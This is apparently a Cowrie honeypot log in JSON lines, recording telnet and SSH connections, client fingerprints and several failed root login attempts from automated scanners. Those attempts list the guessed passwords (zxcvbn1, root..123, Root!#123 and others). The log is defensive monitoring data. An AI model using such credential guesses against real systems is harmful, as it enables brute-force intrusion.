{"eventid":"cowrie.session.closed","duration":54.052146673202515,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:27.546173Z","src_ip":"152.42.224.71","session":"5404f86490b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.47516894340515,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:30.342623Z","src_ip":"152.42.224.71","session":"6ba042b1a255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.696991443634033,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:31.259871Z","src_ip":"152.42.224.71","session":"9c045f922b35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35444,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc2404ebef06","protocol":"telnet","message":"New connection: 152.42.224.71:35444 (10.17.0.5:23) [session: cc2404ebef06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:31.943464Z"}
{"eventid":"cowrie.session.closed","duration":42.117010831832886,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:32.706197Z","src_ip":"152.42.224.71","session":"7b78272da97f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05252480506897,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:35.495393Z","src_ip":"152.42.224.71","session":"46124e09cf0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.895050287246704,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:36.215919Z","src_ip":"152.42.224.71","session":"aad00805700c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40214,"dst_ip":"10.17.0.5","dst_port":23,"session":"8293a845dfcc","protocol":"telnet","message":"New connection: 152.42.224.71:40214 (10.17.0.5:23) [session: 8293a845dfcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:39.196822Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40216,"dst_ip":"10.17.0.5","dst_port":23,"session":"fadb2115d356","protocol":"telnet","message":"New connection: 152.42.224.71:40216 (10.17.0.5:23) [session: fadb2115d356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:40.167975Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aac89cf8128","protocol":"telnet","message":"New connection: 152.42.224.71:40224 (10.17.0.5:23) [session: 3aac89cf8128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:42.934145Z"}
{"eventid":"cowrie.session.closed","duration":47.135523319244385,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:42.965618Z","src_ip":"152.42.224.71","session":"20d6234c171c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.79433465003967,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:44.262767Z","src_ip":"152.42.224.71","session":"510f0b56f7dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40232,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a839147fd4","protocol":"telnet","message":"New connection: 152.42.224.71:40232 (10.17.0.5:23) [session: 59a839147fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:44.410992Z"}
{"eventid":"cowrie.session.closed","duration":45.48221802711487,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:46.513667Z","src_ip":"152.42.224.71","session":"a8b379447156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57300,"dst_ip":"10.17.0.5","dst_port":23,"session":"8399c6cc4349","protocol":"telnet","message":"New connection: 152.42.224.71:57300 (10.17.0.5:23) [session: 8399c6cc4349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:51.478865Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57310,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ea31b1b6a15","protocol":"telnet","message":"New connection: 152.42.224.71:57310 (10.17.0.5:23) [session: 5ea31b1b6a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:52.349144Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57326,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a888248cbb0","protocol":"telnet","message":"New connection: 152.42.224.71:57326 (10.17.0.5:23) [session: 9a888248cbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:53.104696Z"}
{"eventid":"cowrie.session.closed","duration":120.00238823890686,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:54.688137Z","src_ip":"152.42.224.71","session":"7c42258b1c40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.38193678855896,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:54.737390Z","src_ip":"152.42.224.71","session":"c0d0933601a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.86200571060181,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:55.173614Z","src_ip":"152.42.224.71","session":"f93ee5b97d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.509058475494385,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:55.741584Z","src_ip":"152.42.224.71","session":"dd1b14571812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40444,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7616b76664","protocol":"telnet","message":"New connection: 152.42.224.71:40444 (10.17.0.5:23) [session: 7f7616b76664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:02.242467Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40458,"dst_ip":"10.17.0.5","dst_port":23,"session":"429a12308aaa","protocol":"telnet","message":"New connection: 152.42.224.71:40458 (10.17.0.5:23) [session: 429a12308aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:02.774310Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f81327ca0c6f","protocol":"telnet","message":"New connection: 152.42.224.71:40474 (10.17.0.5:23) [session: f81327ca0c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:03.453682Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42468,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfad37c2ca0e","protocol":"ssh","message":"New connection: 77.94.47.83:42468 (159.203.135.109:22) [session: bfad37c2ca0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:03.915329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:03.921197Z","src_ip":"77.94.47.83","session":"bfad37c2ca0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:04.049846Z","src_ip":"77.94.47.83","session":"bfad37c2ca0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbn1","message":"login attempt [root/zxcvbn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:04.423721Z","src_ip":"77.94.47.83","session":"bfad37c2ca0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40480,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca3a60094f0","protocol":"telnet","message":"New connection: 152.42.224.71:40480 (10.17.0.5:23) [session: 2ca3a60094f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:05.280743Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:05.550350Z","src_ip":"77.94.47.83","session":"bfad37c2ca0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49502,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc5b9950a89","protocol":"telnet","message":"New connection: 152.42.224.71:49502 (10.17.0.5:23) [session: 3dc5b9950a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:06.948716Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53134,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0c1511e19a","protocol":"ssh","message":"New connection: 213.209.159.158:53134 (10.17.0.5:22) [session: 4e0c1511e19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:08.623487Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49504,"dst_ip":"10.17.0.5","dst_port":23,"session":"e78374462259","protocol":"telnet","message":"New connection: 152.42.224.71:49504 (10.17.0.5:23) [session: e78374462259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:09.654433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:11.388084Z","src_ip":"213.209.159.158","session":"4e0c1511e19a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:11.391663Z","src_ip":"213.209.159.158","session":"4e0c1511e19a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.83397173881531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:12.030671Z","src_ip":"152.42.224.71","session":"8293a845dfcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.489296674728394,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:17.097708Z","src_ip":"152.42.224.71","session":"502760911b88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.808409452438354,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:17.751746Z","src_ip":"152.42.224.71","session":"cc2404ebef06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.875556468963623,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:20.980132Z","src_ip":"152.42.224.71","session":"9a888248cbb0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root..123","message":"login attempt [root/root..123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:21.007140Z","src_ip":"213.209.159.158","session":"4e0c1511e19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44360,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a742440f04","protocol":"telnet","message":"New connection: 152.42.224.71:44360 (10.17.0.5:23) [session: 51a742440f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:22.780312Z"}
{"eventid":"cowrie.session.closed","duration":38.579877853393555,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:22.990786Z","src_ip":"152.42.224.71","session":"59a839147fd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:24.735711Z","src_ip":"213.209.159.158","session":"4e0c1511e19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49908,"dst_ip":"10.17.0.5","dst_port":22,"session":"b738cad6c4da","protocol":"ssh","message":"New connection: 213.209.159.158:49908 (10.17.0.5:22) [session: b738cad6c4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:24.824001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:27.056357Z","src_ip":"213.209.159.158","session":"b738cad6c4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:27.059238Z","src_ip":"213.209.159.158","session":"b738cad6c4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":84.72729778289795,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:31.945342Z","src_ip":"152.42.224.71","session":"fd49c0a5665b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35976,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c019e90f84","protocol":"telnet","message":"New connection: 152.42.224.71:35976 (10.17.0.5:23) [session: 13c019e90f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:35.612502Z"}
{"eventid":"cowrie.session.closed","duration":31.437451124191284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:36.718074Z","src_ip":"152.42.224.71","session":"2ca3a60094f0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"[gold]","message":"login attempt [root/[gold]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:37.296825Z","src_ip":"213.209.159.158","session":"b738cad6c4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.531187295913696,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:37.465244Z","src_ip":"152.42.224.71","session":"3aac89cf8128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.20275282859802,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:37.551670Z","src_ip":"152.42.224.71","session":"5ea31b1b6a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36574,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1168ad4487e","protocol":"telnet","message":"New connection: 152.42.224.71:36574 (10.17.0.5:23) [session: c1168ad4487e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:38.718120Z"}
{"eventid":"cowrie.session.closed","duration":35.74378752708435,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:39.197332Z","src_ip":"152.42.224.71","session":"f81327ca0c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:40.631971Z","src_ip":"213.209.159.158","session":"b738cad6c4da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36452,"dst_ip":"10.17.0.5","dst_port":22,"session":"d219ac90892c","protocol":"ssh","message":"New connection: 213.209.159.158:36452 (10.17.0.5:22) [session: d219ac90892c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:40.710763Z"}
{"eventid":"cowrie.session.closed","duration":49.63854241371155,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:41.117297Z","src_ip":"152.42.224.71","session":"8399c6cc4349","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:42.898598Z","src_ip":"213.209.159.158","session":"d219ac90892c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:42.902770Z","src_ip":"213.209.159.158","session":"d219ac90892c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.26936626434326,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:43.043555Z","src_ip":"152.42.224.71","session":"429a12308aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52924,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c85af3c03f","protocol":"telnet","message":"New connection: 152.42.224.71:52924 (10.17.0.5:23) [session: 50c85af3c03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:48.711763Z"}
{"eventid":"cowrie.session.closed","duration":39.996084213256836,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:49.650365Z","src_ip":"152.42.224.71","session":"e78374462259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.04975271224976,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:49.995945Z","src_ip":"152.42.224.71","session":"6cfd1449fe93","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!#123","message":"login attempt [root/Root!#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:53.060438Z","src_ip":"213.209.159.158","session":"d219ac90892c","protocol":"ssh"}
